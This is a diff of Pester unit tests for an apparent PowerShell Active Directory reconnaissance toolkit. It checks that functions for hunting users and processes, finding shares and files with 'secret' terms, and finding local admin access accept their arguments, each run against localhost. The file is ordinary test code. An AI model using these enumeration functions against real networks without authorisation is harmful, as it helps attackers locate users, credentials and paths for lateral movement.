+Describe "Invoke-CheckLocalAdminAccess" {
+ It "Should Not Throw for localhost" {
+ {Invoke-CheckLocalAdminAccess} | Should Not Throw
+ }
+ It "Should accept NETBIOS -ComputerName argument" {
+ {Invoke-CheckLocalAdminAccess -ComputerName "$env:computername"} | Should Not Throw
+ }
+ It "Should accept IP -ComputerName argument" {
+ {Invoke-CheckLocalAdminAccess -ComputerName $LocalIP} | Should Not Throw
+ }
+ It "Should accept pipeline input" {
+ {"$env:computername" | Invoke-CheckLocalAdminAccess} | Should Not Throw
+ }
+}
+
+
+Describe "Get-LastLoggedOn" {
+ It "Should return results for the local host" {
+ if ( (Get-LastLoggedOn | Measure-Object).count -lt 1) {
+ Throw "Incorrect loggedon results returned"
+ }
+ }
+ It "Should accept NETBIOS -ComputerName argument" {
+ if ( (Get-LastLoggedOn -ComputerName "$env:computername" | Measure-Object).count -lt 1) {
+ Throw "Incorrect loggedon results returned"
+ }
+ }
+ It "Should accept IP -ComputerName argument" {
+ if ( (Get-LastLoggedOn -ComputerName $LocalIP | Measure-Object).count -lt 1) {
+ Throw "Incorrect loggedon results returned"
+ }
+ }
+ It "Should accept pipeline input" {
+ {"$env:computername" | Get-LastLoggedOn} | Should Not Throw
+ }
+}
+
+
+Describe "Get-CachedRDPConnection" {
+ It "Should Not Throw" {
+ {Get-CachedRDPConnection} | Should Not Throw
+ }
+ It "Should accept NETBIOS -ComputerName argument" {
+ {Get-CachedRDPConnection -ComputerName "$env:computername"} | Should Not Throw
+ }
+ It "Should accept IP -ComputerName argument" {
+ {Get-CachedRDPConnection -ComputerName $LocalIP} | Should Not Throw
+ }
+ It "Should accept pipeline input" {
+ {"$env:computername" | Get-CachedRDPConnection} | Should Not Throw
+ }
+}
+
+
+Describe "Get-NetProcess" {
+ It "Should return results for the local host" {
+ if ( (Get-NetProcess | Measure-Object).count -lt 1) {
+ Throw "Incorrect process results returned"
+ }
+ }
+ It "Should accept NETBIOS -ComputerName argument" {
+ if ( (Get-NetProcess -ComputerName "$env:computername" | Measure-Object).count -lt 1) {
+ Throw "Incorrect process results returned"
+ }
+ }
+ It "Should accept IP -ComputerName argument" {
+ if ( (Get-NetProcess -ComputerName $LocalIP | Measure-Object).count -lt 1) {
+ Throw "Incorrect process results returned"
+ }
+ }
+ # TODO: RemoteUserName/RemotePassword
+ It "Should accept pipeline input" {
+ {"$env:computername" | Get-NetProcess} | Should Not Throw
+ }
+}
+
+
+Describe "Find-InterestingFile" {
+ #TODO: implement
+}
+
+
+Describe "Invoke-UserHunter" {
+ It "Should accept -ComputerName argument" {
+ if ( (Invoke-UserHunter -ShowAll -ComputerName "$env:computername" | Measure-Object).count -lt 1) {
+ Throw "Insuffient results returned"
+ }
+ }
+ try {
+ It "Should accept -ComputerFile argument" {
+ "$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt
+ if ( (Invoke-UserHunter -ComputerFile ".\targets.txt" -ShowAll | Measure-Object).count -lt 1) {
+ Throw "Insuffient results returned"
+ }
+ }
+ }
+ finally {
+ Remove-Item -Force ".\targets.txt"
+ }
+ It "Should accept -NoPing flag" {
+ if ( (Invoke-UserHunter -ComputerName "$env:computername" -UserName $env:USERNAME -NoPing | Measure-Object).count -lt 1) {
+ Throw "Insuffient results returned"
+ }
+ }
+ It "Should accept -Delay and -Jitter arguments" {
+ if ( (Invoke-UserHunter -ShowAll -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername", "$env:computername") | Measure-Object).count -lt 1) {
+ Throw "Insuffient results returned"
+ }
+ }
+}
+
+
+Describe "Invoke-StealthUserHunter" {
+ # simple test of the splatting
+ It "Should accept splatting for Invoke-UserHunter" {
+ {Invoke-StealthUserHunter -ShowAll -ComputerName "$env:computername"} | Should Not Throw
+ }
+}
+
+
+Describe "Invoke-ProcessHunter" {
+ It "Should accept -ComputerName and -UserName arguments" {
+ if ( (Invoke-ProcessHunter -UserName $env:USERNAME -ComputerName "$env:computername" | Measure-Object).count -lt 1) {
+ Throw "Insuffient results returned"
+ }
+ }
+ try {
+ It "Should accept -ComputerFile argument" {
+ "$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt
+ if ( (Invoke-ProcessHunter -ComputerFile ".\targets.txt" -UserName $env:USERNAME | Measure-Object).count -lt 1) {
+ Throw "Insuffient results returned"
+ }
+ }
+ }
+ finally {
+ Remove-Item -Force ".\targets.txt"
+ }
+ It "Should accept -ProcessName argument" {
+ if ( (Invoke-ProcessHunter -ComputerName "$env:computername" -ProcessName powershell | Measure-Object).count -lt 1) {
+ Throw "Insuffient results returned"
+ }
+ }
+ try {
+ It "Should accept -UserFile argument" {
+ "$env:USERNAME" | Out-File -Encoding ASCII target_users.txt
+ if ( (Invoke-ProcessHunter -ComputerName "$env:computername" -UserFile ".\target_users.txt" | Measure-Object).count -lt 1) {
+ Throw "Insuffient results returned"
+ }
+ }
+ }
+ finally {
+ Remove-Item -Force ".\target_users.txt"
+ }
+ It "Should accept -NoPing flag" {
+ if ( (Invoke-ProcessHunter -ComputerName "$env:computername" -UserName $env:USERNAME -NoPing | Measure-Object).count -lt 1) {
+ Throw "Insuffient results returned"
+ }
+ }
+ It "Should accept -Delay and -Jitter arguments" {
+ if ( (Invoke-ProcessHunter -UserName $env:USERNAME -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername", "$env:computername") | Measure-Object).count -lt 1) {
+ Throw "Insuffient results returned"
+ }
+ }
+}
+
+
+Describe "Invoke-ShareFinder" {
+ It "Should accept -ComputerName argument" {
+ if ( (Invoke-ShareFinder -ComputerName "$env:computername" | Measure-Object).count -lt 1) {
+ Throw "Insuffient results returned"
+ }
+ }
+ try {
+ It "Should accept -ComputerFile argument" {
+ "$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt
+ if ( (Invoke-ShareFinder -ComputerFile ".\targets.txt" | Measure-Object).count -lt 1) {
+ Throw "Insuffient results returned"
+ }
+ }
+ }
+ finally {
+ Remove-Item -Force ".\targets.txt"
+ }
+ It "Should accept -ExcludeStandard argument" {
+ {Invoke-ShareFinder -ComputerName "$env:computername" -ExcludeStandard} | Should Not Throw
+ }
+ It "Should accept -ExcludePrint argument" {
+ if ( (Invoke-ShareFinder -ComputerName "$env:computername" -ExcludePrint | Measure-Object).count -lt 1) {
+ Throw "Insuffient results returned"
+ }
+ }
+ It "Should accept -ExcludeIPC argument" {
+ if ( (Invoke-ShareFinder -ComputerName "$env:computername" -ExcludeIPC | Measure-Object).count -lt 1) {
+ Throw "Insuffient results returned"
+ }
+ }
+ It "Should accept -CheckShareAccess argument" {
+ if ( (Invoke-ShareFinder -ComputerName "$env:computername" -CheckShareAccess | Measure-Object).count -lt 1) {
+ Throw "Insuffient results returned"
+ }
+ }
+ It "Should accept -CheckAdmin argument" {
+ if ( (Invoke-ShareFinder -ComputerName "$env:computername" -CheckAdmin | Measure-Object).count -lt 1) {
+ Throw "Insuffient results returned"
+ }
+ }
+ It "Should accept -NoPing argument" {
+ if ( (Invoke-ShareFinder -NoPing -ComputerName "$env:computername" | Measure-Object).count -lt 1) {
+ Throw "Insuffient results returned"
+ }
+ }
+ It "Should accept -Delay and -Jitter arguments" {
+ if ( (Invoke-ShareFinder -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername", "$env:computername") | Measure-Object).count -lt 1) {
+ Throw "Insuffient results returned"
+ }
+ }
+}
+
+
+Describe "Invoke-FileFinder" {
+ It "Should accept -ComputerName argument" {
+ {Invoke-FileFinder -ComputerName "$env:computername"} | Should Not Throw
+ }
+ try {
+ It "Should accept -ComputerFile argument" {
+ "$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt
+ {Invoke-FileFinder -ComputerFile ".\targets.txt"} | Should Not Throw
+ }
+ }
+ finally {
+ Remove-Item -Force ".\targets.txt"
+ }
+ try {
+ It "Should accept -ShareList argument" {
+ "\\$($env:computername)\\IPC$" | Out-File -Encoding ASCII shares.txt
+ {Invoke-FileFinder -ShareList ".\shares.txt"} | Should Not Throw
+ }
+ }
+ finally {
+ Remove-Item -Force ".\shares.txt"
+ }
+ It "Should accept -Terms argument" {
+ {Invoke-FileFinder -Terms secret,testing -ComputerName "$env:computername"} | Should Not Throw
+ }
+ It "Should accept -OfficeDocs argument" {
+ {Invoke-FileFinder -OfficeDocs -ComputerName "$env:computername"} | Should Not Throw
+ }
+ It "Should accept -FreshEXEs argument" {
+ {Invoke-FileFinder -FreshEXEs -ComputerName "$env:computername"} | Should Not Throw
+ }
+ It "Should accept -LastAccessTime argument" {
+ {Invoke-FileFinder -LastAccessTime "01/01/2000" -ComputerName "$env:computername"} | Should Not Throw
+ }
+ It "Should accept -LastWriteTime argument" {
+ {Invoke-FileFinder -LastWriteTime "01/01/2000" -ComputerName "$env:computername"} | Should Not Throw
+ }
+ It "Should accept -ExcludeFolders argument" {
+ {Invoke-FileFinder -ExcludeFolders -ComputerName "$env:computername"} | Should Not Throw
+ }
+ It "Should accept -ExcludeHidden argument" {
+ {Invoke-FileFinder -ExcludeHidden -ComputerName "$env:computername"} | Should Not Throw
+ }
+ It "Should accept -CreationTime argument" {
+ {Invoke-FileFinder -CreationTime "01/01/2000" -ComputerName "$env:computername"} | Should Not Throw
+ }
+ It "Should accept -OutFile argument" {
+ {Invoke-FileFinder -ComputerName "$env:computername" -OutFile "found_files.csv"} | Should Not Throw
+ if(Test-Path -Path .\found_files.csv) {
+ $Null = Remove-Item -Force .\found_files.csv
+ }
+ }
+ It "Should accept -NoPing argument" {
+ {Invoke-FileFinder -NoPing -ComputerName "$env:computername"} | Should Not Throw
+ }
+ It "Should accept -Delay and -Jitter arguments" {
+ {Invoke-FileFinder -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername","$env:computername")} | Should Not Throw
+ }
+}
+
+
+Describe "Find-LocalAdminAccess" {
+ It "Should accept -ComputerName argument" {
+ if ( (Find-LocalAdminAccess -ComputerName "$env:computername" | Measure-Object).count -lt 1) {
+ Throw "Insuffient results returned"
+ }
+ }
+ try {
+ It "Should accept -ComputerFile argument" {
+ "$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt
+ if ( (Find-LocalAdminAccess -ComputerFile ".\targets.txt" | Measure-Object).count -lt 1) {
+ Throw "Insuffient results returned"
+ }
+ }
+ }
+ finally {
+ Remove-Item -Force ".\targets.txt"
+ }
+ It "Should accept -NoPing argument" {
+ if ( (Find-LocalAdminAccess -NoPing -ComputerName "$env:computername" | Measure-Object).count -lt 1) {
+ Throw "Insuffient results returned"
+ }
+ }
+ It "Should accept -Delay and -Jitter arguments" {
+ if ( (Find-LocalAdminAccess -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername","$env:computername") | Measure-Object).count -lt 1) {
+ Throw "Insuffient results returned"
+ }
+ }
+}
+
+
+Describe "Invoke-EnumerateLocalAdmin" {
+ It "Should accept -ComputerName argument" {
+ if ( (Invoke-EnumerateLocalAdmin -ComputerName "$env:computername" | Measure-Object).count -lt 1) {
+ Throw "Insuffient results returned"
+ }
+ }
+ try {
+ It "Should accept -ComputerFile argument" {
+ "$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt
+ if ( (Invoke-EnumerateLocalAdmin -ComputerFile ".\targets.txt" | Measure-Object).count -lt 1) {
+ Throw "Insuffient results returned"
+ }
+ }
+ }
+ finally {
+ Remove-Item -Force ".\targets.txt"
+ }
+ It "Should accept -NoPing argument" {
+ if ( (Invoke-EnumerateLocalAdmin -NoPing -ComputerName "$env:computername" | Measure-Object).count -lt 1) {
+ Throw "Insuffient results returned"
+ }
+ }
+ It "Should accept -Delay and -Jitter arguments" {
+ if ( (Invoke-EnumerateLocalAdmin -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername","$env:computername") | Measure-Object).count -lt 1) {
+ Throw "Insuffient results returned"
+ }
+ }
+ It "Should accept -Outfile argument" {
+ Invoke-EnumerateLocalAdmin -ComputerName "$env:computername" -OutFile "local_admins.csv"
+ ".\local_admins.csv" | Should Exist
+ Remove-Item -Force .\local_admins.csv
+ }
+}